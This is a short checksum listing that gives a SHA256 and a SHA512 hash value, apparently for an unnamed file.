SHA2567983ed8c734e23cf8b42109e5a07022778af5f0461d6a5133fed31584a135291
SHA51201e78293f81bca3a630165ca25b7faf365e3a144d1d176766780ec5761ae41991309e07689890591de4076d1a0f7ec13ed58ce2525314383b0d627c8ee1e46bb